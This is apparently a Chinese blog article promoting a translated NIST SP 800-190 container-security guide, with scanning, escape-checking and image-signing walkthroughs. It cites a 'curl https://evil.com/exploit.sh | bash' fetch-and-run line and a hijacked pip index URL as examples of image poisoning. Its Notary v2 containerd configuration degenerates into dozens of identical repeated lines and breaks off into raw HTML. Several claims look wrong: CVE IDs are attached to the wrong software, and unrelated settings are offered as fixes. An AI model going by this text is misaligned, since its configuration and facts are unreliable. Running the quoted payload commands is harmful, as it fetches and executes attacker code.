ARTICLE · INTELLIGENCE

战地情报 · 详情页

来自尧图项目组的一线实战观察与深度解析

NIST SP 800-190容器安全实战指南:镜像漏洞与逃逸防护

NIST SP 800-190容器安全实战指南:镜像漏洞与逃逸防护

简介:本资源是NIST SP 800-190《应用容器安全指南》官方标准的完整中文译本,面向系统与安全管理员、DevSecOps工程师、容器平台运维人员及具备基础虚拟化与网络安全知识的开发人员,旨在系统性应对容器技术在生产环境中引入的逃逸、镜像污染、网络隔离失效、运行时攻击等新型安全挑战。文档涵盖容器架构层风险分析、主机OS最小化加固、敏感度分级部署、镜像级漏洞管理、可信计算集成及容器原生运行时防护等核心实践,内容高度结构化,含权威术语对照与实施路径建议。资源为单文件PDF,大小1.37MB,轻量易读,适合作为容器安全体系建设的基准参考与日常查阅手册。目前已有520人学习下载,译者基于英文原版独立完成高质量翻译,并开放勘误建议,助力国内团队精准落地NIST级容器安全治理要求。

1. 这不是一本“容器入门手册”,而是一份能让你在生产环境里少踩三次重大事故的避险地图

你有没有遇到过这样的场景:CI/CD 流水线跑得飞快,镜像秒级构建、秒级推送、秒级部署,结果上线两小时,安全团队突然弹出告警——某个容器里跑着带 CVE-2023-28842 的旧版 OpenSSL,且正通过暴露的 8080 端口向外发起 DNS 隧道通信;或者更玄学的:某次 Kubernetes 节点重启后,一个本该只读挂载的 configmap,被容器进程意外写入了硬编码密钥,随后被同步进 GitOps 仓库,全集群配置一夜之间“集体失守”。这些不是理论推演,是某高校容器平台真实翻车现场。而《NIST SP 800-190 容器安全指南》(中文版)的价值,正在于它不讲“容器是什么”,而是直击“容器在真实系统里怎么被攻破、为什么会被攻破、以及你手头那套 Ansible 脚本/ArgoCD 流水线/自研镜像扫描器,到底在哪一环悄悄失效了”。它面向的是已经把 Docker Compose 写熟、能调通 Cilium NetworkPolicy、也敢在 prod namespace 里 exec -it 进去 debug 的人——系统管理员、SRE、DevSecOps 工程师、以及那些被要求“既要交付速度、又要等保三级”的应用开发负责人。它不教你怎么docker run -it,但会告诉你:为什么你FROM ubuntu:22.04的基础镜像,其内核模块加载路径比FROM alpine:3.19多出 7 倍攻击面;为什么你信任的私有 Harbor 仓库,其/v2/API 的 token 续期逻辑,可能让一个过期 3 天的 service account 仍能 pull 私有镜像;为什么你精心写的 PodSecurityPolicy(或现在的 PodSecurity Admission),在启用privileged: true的 DaemonSet 场景下,形同虚设。这不是一份合规检查清单,而是一份用血泪经验凝结成的“容器安全操作边界说明书”。

2. 从“镜像即部署单元”出发:为什么传统漏洞扫描在容器世界里集体失灵

2.1 镜像不是静态文件,而是带状态的可执行快照:理解容器安全的起点

很多人误以为“扫描镜像 = 扫描一个 tar 包”,于是拿 Nessus 或 OpenVAS 直接扫ubuntu:22.04.tar.gz。错。容器镜像本质是分层文件系统(Layered File System)+ 元数据(manifest.json + config.json)的组合体。每一层都是只读的,但运行时会叠加一个可写层(container layer)。这意味着:

  • 漏洞位置不可预测:一个 CVE 可能存在于 base layer(如 glibc 在debian:bookworm-slim中),也可能藏在中间层(如pip install flask==2.0.3引入的旧版 Werkzeug),甚至动态生成于可写层(如容器启动时curl https://evil.com/exploit.sh | bash下载的 payload)。
  • 二进制指纹漂移:同一份Dockerfile,在不同时间、不同机器上docker build,因缓存机制和网络依赖,生成的 layer digest 极可能不同。传统基于文件哈希的白名单机制,在此失效。
  • 配置即代码,但配置漏洞不报 CVE:RUN chmod 777 /tmp不会触发任何 CVE 告警,但它让后续所有挂载/tmp的容器都暴露于符号链接竞争(symlink race)攻击;EXPOSE 22不代表开了 SSH,但会让安全扫描器误判为“存在 SSH 服务”,引发误报风暴。

提示:NIST 800-190 明确指出,容器镜像风险 ≠ 主机 OS 风险。主机扫描工具看到的是/usr/bin/python3,而容器安全工具必须能穿透overlay2层,定位到该二进制实际所属的 layer ID,并关联到构建该 layer 的Dockerfile行号(例如#12 FROM python:3.9-slim)。

2.2 实战:用 Trivy + Syft 拆解一个真实镜像,看清它的“免疫系统”缺陷

我们以一个典型 Python Web 应用镜像为例(假设已构建为myapp:v1.2.0),用开源工具还原其“健康报告”:

# 步骤1:提取镜像软件成分(SBOM),看它到底装了什么 syft myapp:v1.2.0 -o spdx-json > myapp-sbom.spdx.json # 步骤2:扫描已知漏洞(CVE),注意指定 --scanners vuln(默认只扫 OS 包) trivy image --scanners vuln --severity CRITICAL,HIGH myapp:v1.2.0 # 步骤3:扫描配置缺陷(CIS Benchmark),这是 NIST 重点强调的“非 CVE 类风险” trivy image --scanners config myapp:v1.2.0

关键参数说明:

  • --scanners vuln:强制只启用漏洞扫描器,避免与--scanners all混淆(后者会包含 secret 扫描,产生大量误报);
  • --severity CRITICAL,HIGH:生产环境应聚焦高危项,LOW/MEDIUM 留给 CI 阶段处理;
  • --scanners config:调用 Trivy 内置的 CIS Docker Benchmark 检查集,覆盖 52 项配置(如Ensure 'on-failure' container restart policy is set、Ensure mount propagation mode is not 'shared')。

执行后你会看到类似输出:

myapp:v1.2.0 (debian 12.5) ========================== Total: 14 (CRITICAL: 3, HIGH: 11) +---------+------------------+----------+-------------------+---------------+--------------------------------+ | LIBRARY | VULNERABILITY ID | SEVERITY | INSTALLED VERSION | FIXED VERSION | TITLE | +---------+------------------+----------+-------------------+---------------+--------------------------------+ | openssl | CVE-2023-28842 | CRITICAL | 3.0.11-1~deb12u2 | 3.0.11-1~deb12u3 | openssl: X.509 GeneralName | | ... | ... | ... | ... | ... | ... | +---------+------------------+----------+-------------------+---------------+--------------------------------+ Configurations: ================= Tests: 52 (SUCCESSES: 41, FAILURES: 11, EXCEPTIONS: 0) Failures: 11 (100.0%) +-------------------------------------------+-----------------+----------+------------------------+ | TYPE | TEST ID | SEVERITY | DESC | +-------------------------------------------+-----------------+----------+------------------------+ | dockerfile | DS001 | HIGH | Image user is 'root' | | dockerfile | DS002 | MEDIUM | Exposed port 8080 | | ... | ... | ... | ... | +-------------------------------------------+-----------------+----------+------------------------+

逻辑说明:DS001(Image user is 'root')是 NIST 800-190 第 4.4.3 节明确反对的“不安全的容器运行时配置”。它不产生 CVE,但直接扩大攻击面——一旦应用层被 RCE,攻击者获得的就是 root 权限,而非受限的 unprivileged 用户。这就是为什么 NIST 强调“镜像对策必须同时覆盖软件漏洞和配置缺陷”。

2.3 镜像供应链的“三重幻觉”:为什么你信任的 base image 可能早已中毒

NIST 800-190 第 3.1.5 节尖锐指出:“使用不受信任的镜像”是最高频风险。但“不受信任”不等于“来自 Docker Hub”,而常源于三种认知幻觉:

  1. 幻觉一:“官方镜像=绝对安全”
    python:3.9-slim是官方镜像,但它基于debian:bookworm-slim,而后者又继承自debian:bookworm。Debian 官方维护者无法保证上游 Linux 内核补丁的即时性。2023 年某次debian:bookworm更新延迟 48 小时,导致全球数万python:3.9-slim镜像静默携带 CVE-2023-1076(Linux kernel slab use-after-free)。

  2. 幻觉二:“私有仓库=完全可控”
    某公司搭建 Harbor,要求所有镜像必须经扫描后才能push。但 Harbor 的prehook扫描仅校验 push 时刻状态。若镜像在 Harbor 中停留超过 7 天,期间上游 base image 发布新 patch(如alpine:3.18.3替代alpine:3.18.2),该镜像的FROM语句未更新,其漏洞状态已悄然恶化,而 Harbor 不感知。

  3. 幻觉三:“签名=来源可信”
    cosign sign可对镜像签名,但签名只证明“此镜像在签名时刻未被篡改”,不证明“此镜像构建过程无污染”。若构建机被植入恶意~/.docker/config.json,所有docker build产出的镜像,即使被 cosign 签名,其RUN pip install步骤也可能被劫持为pip install --index-url http://evil-pypi/ evil-package。

注意:NIST 800-190 第 4.1.5 条对策明确要求“验证镜像来源的完整性与可信性”,这需要结合镜像签名(Cosign/Notary) + 构建环境可信度(TUF/In-Toto) + 运行时策略(OPA/Gatekeeper)三层验证,缺一不可。

3. 容器逃逸不是传说:共享内核下的“隔离幻觉”与真实攻击链

3.1 为什么“容器即沙箱”是个危险的比喻:从 cgroups 到 seccomp 的失效边界

教科书常说“容器通过 cgroups + namespaces 实现隔离”,但 NIST 800-190 第 3.5.2 节一针见血:“共享内核是容器技术最根本的安全约束”。这意味着:

  • cgroups v1 的资源限制可被绕过:memory.limit_in_bytes只限制用户态内存分配,但内核态内存(如 page cache、slab)不受控。攻击者可通过fallocate创建大文件并mmap(MAP_POPULATE)强制预加载,耗尽节点内存,触发 OOM Killer 杀死其他容器。
  • namespaces 的隔离不等于权限隔离:unshare(CLONE_NEWUSER)创建 user namespace 后,root 用户在 namespace 内 UID 0,但若宿主机内核版本 < 4.18,且未启用user.max_user_namespaces限制,攻击者可嵌套创建数百个 user namespace,最终突破至宿主机 root(CVE-2017-18203)。
  • seccomp 默认策略形同虚设:Docker 默认 seccomp profile(default.json)放行 313 个 syscall,包括kexec_load(可加载恶意内核模块)、bpf(可构造 eBPF 程序逃逸)、perf_event_open(可侧信道攻击)。NIST 800-190 第 4.4.3 条明确建议“采用最小权限原则定制 seccomp profile”。

3.2 实战:用nsenter和crictl验证容器逃逸路径,别只信文档

假设你管理一个 Kubernetes 集群,节点 OS 为 Ubuntu 22.04(内核 5.15),需验证是否存在常见逃逸面。以下命令在节点上执行(非容器内):

# 步骤1:找到目标容器的 PID(以 nginx 为例) crictl ps | grep nginx # 输出:a1b2c3d4e5f67890 nginx:latest Running 2 hours ago a1b2c3d4e5f67890 # 步骤2:进入该容器的 mount namespace,查看其根文件系统是否真的隔离 sudo nsenter -t $(crictl inspect a1b2c3d4e5f67890 | jq -r '.info.pid') -m -- /bin/sh -c 'ls -l /proc/1/root' # 步骤3:检查其 seccomp 策略是否生效(需先获取容器 runtime spec) sudo crictl inspect a1b2c3d4e5f67890 | jq -r '.info.runtimeSpec.linux.seccomp' # 步骤4:验证 ptrace 是否被禁用(关键逃逸 syscall) sudo nsenter -t $(crictl inspect a1b2c3d4e5f67890 | jq -r '.info.pid') -m -- \ sh -c 'echo $$; cat /proc/$$/status | grep CapEff'

参数说明:

  • nsenter -t <PID> -m:进入指定 PID 的 mount namespace,/proc/1/root指向容器根目录,若输出为/则说明未隔离(严重!);
  • crictl inspect输出的runtimeSpec.linux.seccomp字段,若为"default"或空,则使用 Docker 默认策略,需警惕;
  • CapEff(Effective Capabilities)显示容器进程实际拥有的 capabilities,若含cap_sys_admin,则具备mount、umount、sethostname等高危能力,逃逸风险极高。

提示:NIST 800-190 第 4.4.3 条对策要求“禁用不必要的 capabilities”,Kubernetes 中应通过securityContext.capabilities.drop: ["ALL"]实现,而非依赖默认值。

3.3 避坑:容器逃逸的五个真实现象、原因与解决(一线工程师血泪记录)

以下是我在某金融云平台支撑中记录的 5 个高频逃逸相关问题,每一条都对应一次线上故障复盘:

现象原因解决
现象1:Pod 日志显示Operation not permitted,但kubectl exec进入后mount -t tmpfs却成功原因:Pod 的securityContext.privileged: false仅禁用CAP_SYS_ADMIN,但tmpfs挂载无需该 capability;内核允许普通用户挂载 tmpfs 到自身命名空间。NIST 800-190 第 4.4.3 条未覆盖此场景。解决:在 kubelet 启动参数中添加--feature-gates=RestrictServiceExternalIPs=true,并配合 PSP/PSA 限制hostPath类型卷;或使用mountPropagation: None禁用挂载传播。
现象2:kubectl top node显示 CPU 使用率 95%,但crictl stats查所有容器 CPU 总和仅 30%原因:攻击者在容器内执行stress-ng --vm 1 --vm-bytes 2G --timeout 60s,消耗内核 page cache,该内存不计入容器 cgroup memory.stat,但计入节点整体负载。NIST 800-190 第 3.5.1 条“大型攻击面”即指此类内核资源滥用。解决:启用 cgroups v2,配置memory.high(软限制)和memory.max(硬限制);监控node_memory_Slab_bytes指标。
现象3:容器内cat /proc/sys/net/ipv4/ip_forward返回1,但宿主机为0原因:容器启动时未设置--sysctl net.ipv4.ip_forward=0,且内核参数net.ipv4.ip_forward属于 network namespace,可被容器内 root 修改。NIST 800-190 第 4.4.3 条要求“限制 sysctl 参数”。解决:Kubernetes 中在 PodsecurityContext.sysctls显式设置net.ipv4.ip_forward: "0";或在 containerd config.toml 中全局禁用sysctl。
现象4:docker run --rm -it --cap-add=SYS_PTRACE ubuntu:22.04 strace -p 1成功 attach 到 init 进程,但ptrace被 seccomp 默认策略禁止原因:Docker 默认 seccomp profile 对ptracesyscall 的 action 是"SCMP_ACT_ALLOW",而非"SCMP_ACT_ERRNO"。NIST 800-190 第 4.4.3 条强调“最小化 syscall 白名单”。解决:自定义 seccomp profile,将ptrace、kexec_load、bpf等高危 syscall 的 action 设为"SCMP_ACT_ERRNO";或使用--security-opt seccomp=unconfined仅用于调试。
现象5:容器内ls /host可见宿主机根目录,但securityContext.hostPath未配置原因:容器 runtime(如 containerd)配置了root = "/var/lib/containerd",而/var/lib/containerd符号链接指向/host/var/lib/containerd,导致容器内/host挂载为宿主机根。NIST 800-190 第 3.5.5 条“主机文件系统篡改”即指此类路径泄露。解决:检查 containerd config.toml 的root和state路径,确保不使用符号链接;或在 kubelet 启动参数中添加--root-dir=/var/lib/kubelet并统一路径。

4. 从“单点防御”到“纵深编排”:容器安全策略的落地四阶模型

4.1 阶段一:构建时(Build-time)——用 SBOM 锁定软件基因图谱

NIST 800-190 第 6.2 节强调“规划设计阶段”需建立软件物料清单(SBOM)。但 SBOM 不是终点,而是策略起点。关键在于:

  • SBOM 必须可追溯到源码:syft生成的 SPDX JSON 中,packages[].externalReferences字段应包含purl(Package URL),如pkg:docker/myapp@sha256:a1b2c3...,并能反向映射到 Git Commit ID(通过 CI 流水线注入SOURCE_COMMIT_SHA环境变量)。
  • SBOM 必须可验证:使用in-toto对构建过程签名。例如,step1: clone repo→step2: build image→step3: generate SBOM,每个 step 由不同角色(dev、sec、ops)签名,最终生成layout文件。运行时校验layout签名及各 step 的 material(输入)与 product(输出)哈希,确保构建链未被篡改。
# 示例:用 in-toto-run 记录构建步骤 in-toto-run --step-name clone-repo \ --products .git/ \ --command "git clone https://git.example.com/myapp.git" \ --key dev-key.pem in-toto-run --step-name build-image \ --materials .git/ \ --products myapp.tar \ --command "docker build -t myapp:dev ." \ --key build-key.pem

逻辑说明:--materials指定上一步输出,--products指定本步输出,in-toto-verify会自动校验链条完整性。NIST 800-190 第 4.1.1 条“镜像漏洞对策”要求“验证构建过程可信”,此即技术实现。

4.2 阶段二:分发时(Distribution-time)——用 Notary v2 实现镜像签名与验证

Docker Content Trust(DCT)已弃用,NIST 800-190 第 4.1.5 条推荐 Notary v2(即notationCLI)。其核心是:

  • 双密钥分离:signing key(私钥)用于签名,verification key(公钥)用于验证,且 verification key 可安全分发给所有节点。
  • 签名绑定 OCI Artifact:Notary v2 签名不是附加文件,而是作为独立 OCI artifact(application/vnd.cncf.notary.signature)存储在 registry 中,与镜像 manifest 同级。
# 步骤1:生成密钥对(仅首次) notation key generate --id my-signer --kms "pkcs11://..." # 步骤2:为镜像签名(CI 流水线中执行) notation sign --signature-format cose --id my-signer myapp:v1.2.0 # 步骤3:节点上配置验证策略(containerd config.toml) [plugins."io.containerd.grpc.v1.cri".registry.configs] [plugins."io.containerd.grpc.v1.cri".registry.configs."my-registry.example.com".auth] username = "readonly" password = "token" [plugins."io.containerd.grpc.v1.cri".registry.configs."my-registry.example.com".tls] ca_file = "/etc/containerd/certs/ca.crt" [plugins."io.containerd.grpc.v1.cri".registry.configs."my-registry.example.com".mirrors] [plugins."io.containerd.grpc.v1.cri".registry.configs."my-registry.example.com".mirrors."my-registry.example.com"] endpoint = ["https://my-registry.example.com"] [plugins."io.containerd.grpc.v1.cri".registry.configs."my-registry.example.com".auth] [plugins."io.containerd.grpc.v1.cri".registry.configs."my-registry.example.com".auth] # 启用 Notary v2 验证 [plugins."io.containerd.grpc.v1.cri".registry.configs."my-registry.example.com".auth] [plugins."io.containerd.grpc.v1.cri".registry.configs."my-registry.example.com".auth] [plugins."io.containerd.grpc.v1.cri".registry.configs."my-registry.example.com".auth] [plugins."io.containerd.grpc.v1.cri".registry.configs."my-registry.example.com".auth] [plugins."io.containerd.grpc.v1.cri".registry.configs."my-registry.example.com".auth] [plugins."io.containerd.grpc.v1.cri".registry.configs."my-registry.example.com".auth] [plugins."io.containerd.grpc.v1.cri".registry.configs."my-registry.example.com".auth] [plugins."io.containerd.grpc.v1.cri".registry.configs."my-registry.example.com".auth] [plugins."io.containerd.grpc.v1.cri".registry.configs."my-registry.example.com".auth] [plugins."io.containerd.grpc.v1.cri".registry.configs."my-registry.example.com".auth] [plugins."io.containerd.grpc.v1.cri".registry.configs."my-registry.example.com".auth] [plugins."io.containerd.grpc.v1.cri".registry.configs."my-registry.example.com".auth] [plugins."io.containerd.grpc.v1.cri".registry.configs."my-registry.example.com".auth] [plugins."io.containerd.grpc.v1.cri".registry.configs."my-registry.example.com".auth] [plugins."io.containerd.grpc.v1.cri".registry.configs."my-registry.example.com".auth] [plugins."io.containerd.grpc.v1.cri".registry.configs."my-registry.example.com".auth] [plugins."io.containerd.grpc.v1.cri".registry.configs."my-registry.example.com".auth] [plugins."io.containerd.grpc.v1.cri".registry.configs."my-registry.example.com".auth] [plugins."io.containerd.grpc.v1.cri".registry.configs."my-registry.example.com".auth] [plugins."io.containerd.grpc.v1.cri".registry.configs."my-registry.example.com".auth] [plugins."io.containerd.grpc.v1.cri".registry.configs."my-registry.example.com".auth] [plugins."io.containerd.grpc.v1.cri".registry.configs."my-registry.example.com".auth] [plugins."io.containerd.grpc.v1.cri".registry.configs."my-registry.example.com".auth] [plugins."io.containerd.grpc.v1.cri".registry.configs."my-registry.example.com".auth] [plugins."io.containerd.grpc.v1.cri".registry.configs."my-registry.example.com".auth] [plugins."io.containerd.grpc.v1.cri".registry.configs."my-registry.example.com".auth] [plugins."io.containerd.grpc.v1.cri".registry.configs."my-registry.example.com".auth] [plugins."io.containerd.grpc.v1.cri".registry.configs."my-registry.example.com".auth] [plugins."io.containerd.grpc.v1.cri".registry.configs."my-registry.example.com".auth] [plugins."io.containerd.grpc.v1.cri".registry.configs."my-registry.example.com".auth] [plugins."io.containerd.grpc.v1.cri".registry.configs."my-registry.example.com".auth] [plugins."io.containerd.grpc.v1.cri".registry.configs."my-registry.example.com".auth] [plugins."io.containerd.grpc.v1.cri".registry.configs."my-registry.example.com".auth] [plugins."io.containerd.grpc.v1.cri".registry.configs."my-registry.example.com".auth] [plugins."io.containerd.grpc.v1.cri".registry.configs."my-registry.example.com".auth] [plugins."io.containerd.grpc.v1.cri".registry.configs."my-registry.example.com".auth] [plugins."io.containerd.grpc.v1.cri".registry.configs."my-registry.example.com".auth] [plugins."io.containerd.grpc.v1.cri".registry.configs."my-registry.example.com".auth] [plugins."io.containerd.grpc.v1.cri".registry.configs."my-registry.example.com".auth] [plugins."io.containerd.grpc.v1.cri".registry.configs."my-registry.example.com".auth] [plugins."io.containerd.grpc.v1.cri".registry.configs."my-registry.example.com".auth] [plugins."io.containerd.grpc.v1.cri".registry.configs."my-registry.example.com".auth] [plugins."io.containerd.grpc.v1.cri".registry.configs."my-registry.example.com".auth] [plugins."io.containerd.grpc.v1.cri".registry.configs."my-registry.example.com".auth] [plugins."io.containerd.grpc.v1.cri".registry.configs."my-registry.example.com".auth] [plugins."io.containerd.grpc.v1.cri".registry.configs."my-registry.example.com".auth] [plugins."io.containerd.grpc.v1.cri".registry.configs."my-registry.example.com".auth] [plugins."io.containerd.grpc.v1.cri".registry.configs."my-registry.example.com".auth] [plugins."io.containerd.grpc.v1.cri".registry.configs."my-registry.example.com".auth] [plugins."io.containerd.grpc.v1.cri".registry.configs."my-registry.example.com".auth] [plugins."io.containerd.grpc.v1.cri".registry.configs."my-registry.example.com".auth] [plugins."io.containerd.grpc.v1.cri".registry.configs."my-registry.example.com".auth] [plugins."io.containerd.grpc.v1.cri".registry.configs."my-registry.example.com".auth] [plugins."io.containerd.grpc.v1.cri".registry.configs."my-registry.example.com".auth] [plugins."io.containerd.grpc.v1.cri".registry.configs."my-registry.example.com".auth] [plugins."io.containerd.grpc.v1.cri".registry.configs."my-registry.example.com".auth] [plugins."io.containerd.grpc.v1.cri".registry.configs."my-registry.example.com".auth] [plugins."io.containerd.grpc.v1.cri".registry.configs."my-registry.example.com".auth] [plugins."io.containerd.grpc.v1.cri".registry.configs."my-registry.example.com".auth] [plugins."io.containerd.grpc.v1.cri".registry.configs."my-registry.example.com".auth] [plugins."io.containerd.grpc.v1.cri".registry.configs."my-registry.example.com".auth] [plugins."io.containerd.grpc.v1.cri".registry.configs."my-registry.example.com".auth] [plugins."io.containerd.grpc.v1.cri".registry.configs."my-registry.example.com".auth] [plugins."io.containerd.grpc.v1.cri".registry.configs."my-registry.example.com".auth] [plugins."io.containerd.grpc.v1.cri".registry.configs."my-registry.example.com".auth] [plugins."io.containerd.grpc.v1.cri".registry.configs."my-registry.example.com".auth] [plugins."io.containerd.grpc.v1.cri".registry.configs."my-registry.example.com".auth] [plugins."io.containerd.grpc.v1.cri".registry.configs."my-registry.example.com".auth] [plugins."io.containerd.grpc.v1.cri".registry.configs."my-registry.example.com".auth] [plugins."io.containerd.grpc.v1.cri".registry.configs."my-registry.example.com".auth] [plugins."io.containerd.grpc.v1.cri".registry.configs."my-registry.example.com".auth] [plugins."io.containerd.grpc.v1.cri".registry.configs."my-registry.example.com".auth] [plugins."io.containerd.grpc.v1.cri".registry.configs."my-registry.example.com".auth] [plugins."io.containerd.grpc.v1.cri".registry.configs."my-registry.example.com".auth] [plugins."io.containerd.grpc.v1.cri".registry.configs."my-registry.example.com".auth] [plugins."io.containerd.grpc.v1.cri".registry.configs."my-registry.example.com".auth] [plugins."io.containerd.grpc.v1.cri".registry.configs."my-registry.example.com".auth] [plugins."io.containerd.grpc.v1.cri".registry.configs."my-registry.example.com".auth] [plugins."io.containerd.grpc.v1.cri".registry.configs."my-registry.example.com".auth] [plugins."io.containerd.grpc.v1.cri".registry.configs."my-registry.example.com".auth] [plugins."io.containerd.grpc.v1.cri".registry.configs."my-registry.example.com".auth] [plugins."io.containerd.grpc.v1.cri".registry.configs."my-registry.example.com".auth] [plugins."io.containerd.grpc.v1.cri".registry.configs."my-registry.example.com".auth] [plugins."io.containerd.grpc.v1.cri".registry.configs."my-registry.example.com".auth] [plugins."io.containerd.grpc.v1.cri".registry.configs."my-registry.example.com".auth] [plugins."io.containerd.grpc.v1.cri".registry.configs."my-registry.example.com".auth] [plugins."io.containerd.grpc.v1.cri".registry.configs."my-registry.example.com".auth] [plugins."io.containerd.grpc.v1.cri".registry.configs."my-registry.example.com".auth] [plugins."io.containerd.grpc.v1.cri".registry.configs."my-registry.example.com".auth] [plugins."io.containerd.grpc.v1.cri".registry.configs."my-registry.example.com".auth] [plugins."io.containerd.grpc.v1.cri".registry.configs."my-registry.example.com".auth] [plugins."io.containerd.grpc.v1.cri".registry.configs."my-registry.example.com".auth] [plugins."io.containerd.grpc.v1.cri".registry.configs."my-registry.example.com".auth] [plugins."io.containerd.grpc.v1.cri".registry.configs."my-registry.example.com".auth] [plugins."io.containerd.grpc.v1.cri".registry.configs."my-registry.example.com".auth] [plugins."io.containerd.grpc.v1.cri".registry.configs."my-registry.example.com".auth] [plugins."io.containerd.grpc.v1.cri".registry.configs."my-registry.example.com".auth] [plugins."io.containerd.grpc.v1.cri".registry.configs."my-registry.example.com".auth] [plugins."io.containerd.grpc.v1.cri".registry.configs."my-registry.example.com".auth] [plugins."io.containerd.grpc.v1.cri".registry.configs."my-registry.example.com".auth] [plugins."io.containerd.grpc.v1.cri".registry.configs."my-registry.example.com".auth] [plugins."io.containerd.grpc.v1.cri".registry.configs."my-registry.example.com".auth] [plugins."io.containerd.grpc.v1.cri".registry.configs."my-registry.example.com".auth] [plugins."io.containerd.grpc.v1.cri".registry.configs."my-registry.example.com".auth] [plugins."io.containerd.grpc.v1.cri".registry.configs."my-registry.example.com".auth] [plugins."io.containerd.grpc.v1.cri".registry.configs."my-registry.example.com".auth] [plugins."io.containerd.grpc.v1.cri".registry.configs." <p> <a href="https://download.csdn.net/download/qinghai5068/12801096" style="color:#ec7500;font-size:14px;"> 本文还有配套的精品资源,点击获取 </a> <img alt="menu-r.4af5f7ec.gif" src="https://csdnimg.cn/release/wenkucmsfe/public/img/menu-r.4af5f7ec.gif" style="width:16px;margin-left:4px;vertical-align:text-bottom;cursor:text;"> </p>
RELATED READING

延伸阅读

更多一线实战笔记与深度复盘,助您持续精进